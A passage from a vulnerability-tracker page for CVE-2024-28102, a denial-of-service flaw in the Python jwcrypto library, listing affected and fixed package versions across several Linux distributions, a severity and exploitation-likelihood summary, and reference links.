before 0:0.60.0-4.module+el8.9.0+1573+39ab85f4 | 0:0.60.0-4.module+el8.9.0+1573+39ab85f4 |
softhsmRocky Linux:8 From an advisory covering 2 CVEs |
before 0:2.6.0-5.module+el8.9.0+1371+ffa84eb9 | 0:2.6.0-5.module+el8.9.0+1371+ffa84eb9 |
rootio-jwcryptoRoot:PyPI |
before 1.4+root.io.1 | 1.4+root.io.11.4+root.io.2 |
python-jwcryptoUbuntu:16.04:LTS |
All versions, plus listed versions 0.2.1-1 |
None known |
python-jwcryptoUbuntu:18.04:LTS |
All versions, plus listed versions 0.3.2-10.4.2-1 |
None known |
python-jwcryptoUbuntu:20.04:LTS |
All versions, plus listed versions 0.6.0-10.6.0-2 |
None known |
python-jwcryptoUbuntu:22.04:LTS |
All versions, plus listed versions 0.8.0-11.0.0-2 |
None known |
python-jwcryptoUbuntu:24.04:LTS |
All versions, plus listed versions 1.1.0-11.5.4-1 |
None known |
python-jwcryptoUbuntu:25.10 |
All versions, plus listed versions 1.5.6-1 |
None known |
python-jwcryptoUbuntu:26.10 |
All versions, plus listed versions 1.5.6-11.5.6-1.11.5.6-1.2 |
None known |
python-jwcryptoUbuntu:26.04:LTS |
All versions, plus listed versions 1.5.6-1 |
None known |
python-jwcryptoopenSUSE:Tumbleweed From an advisory covering 3 CVEs |
before 1.6.0-1.1 | 1.6.0-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| facts | OSV | |
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-28102 is a medium vulnerability (CVSS 6.8) in Latchset Jwcrypto, published March 6, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.98%, the 62nd percentile. Fixed in jwcrypto 1.5.6.
References
github.com/latchset/jwcrypto/security/advisories/GHSA-j857-7rvv-vj97
github.com/latchset/jwcrypto/commit/90477a3b6e73da69740e00b8161f53fea19b831f
vicarius.io/vsociety/posts/denial-of-service-vulnerability-discovered-in-jwcrypto-cve-2024-28102-28103
lists.debian.org/debian-lts-announce/2024/09/msg00026.html
nvd.nist.gov/vuln/detail/CVE-2024-28102
github.com/advisories/GHSA-j857-7rvv-vj97
Show 41 moreShow less
access.redhat.com/errata/RHSA-2024:2559
access.redhat.com/security/cve/CVE-2024-28102
bugzilla.redhat.com/2268758
errata.almalinux.org/9/ALSA-2024-2559.html
github.com/CVEProject/cvelistV5/tree/main/cves/2024/28xxx/CVE-2024-28102.json
security-tracker.debian.org/tracker/CVE-2024-28102
github.com/latchset/jwcrypto
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2024-2443
nvd.nist.gov/vuln/detail/CVE-2022-3102
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2024-2444
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2025-1163
pypi.org/project/jwcrypto
access.redhat.com/security/updates/classification
bugzilla.redhat.com/show_bug.cgi?id=2268758
security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_2559.json
cve.org/CVERecord?id=CVE-2024-28102
access.redhat.com/errata/RHSA-2024:3267
bugzilla.redhat.com/show_bug.cgi?id=2260843
issues.redhat.com/browse/RHEL-28842
issues.redhat.com/browse/RHEL-29908
security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_3267.json
access.redhat.com/security/cve/CVE-2023-6681
cve.org/CVERecord?id=CVE-2023-6681
nvd.nist.gov/vuln/detail/CVE-2023-6681
access.redhat.com/errata/RHSA-2024:4522
bugzilla.redhat.com/show_bug.cgi?id=2279476
bugzilla.redhat.com/show_bug.cgi?id=2282114
security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_4522.json
access.redhat.com/security/cve/CVE-2024-34064
cve.org/CVERecord?id=CVE-2024-34064
nvd.nist.gov/vuln/detail/CVE-2024-34064
github.com/pallets/jinja/security/advisories/GHSA-h75v-3vvj-5mfj
access.redhat.com/security/cve/CVE-2024-35195
cve.org/CVERecord?id=CVE-2024-35195
nvd.nist.gov/vuln/detail/CVE-2024-35195
github.com/psf/requests/security/advisories/GHSA-9wx4-h78v-vm56
errata.rockylinux.org/RLSA-2024:3267
ubuntu.com/security/CVE-2024-28102
suse.com/security/cve/CVE-2024-28102
suse.com/security/cve/CVE-2026-80179
suse.com/security/cve/CVE-2026-84185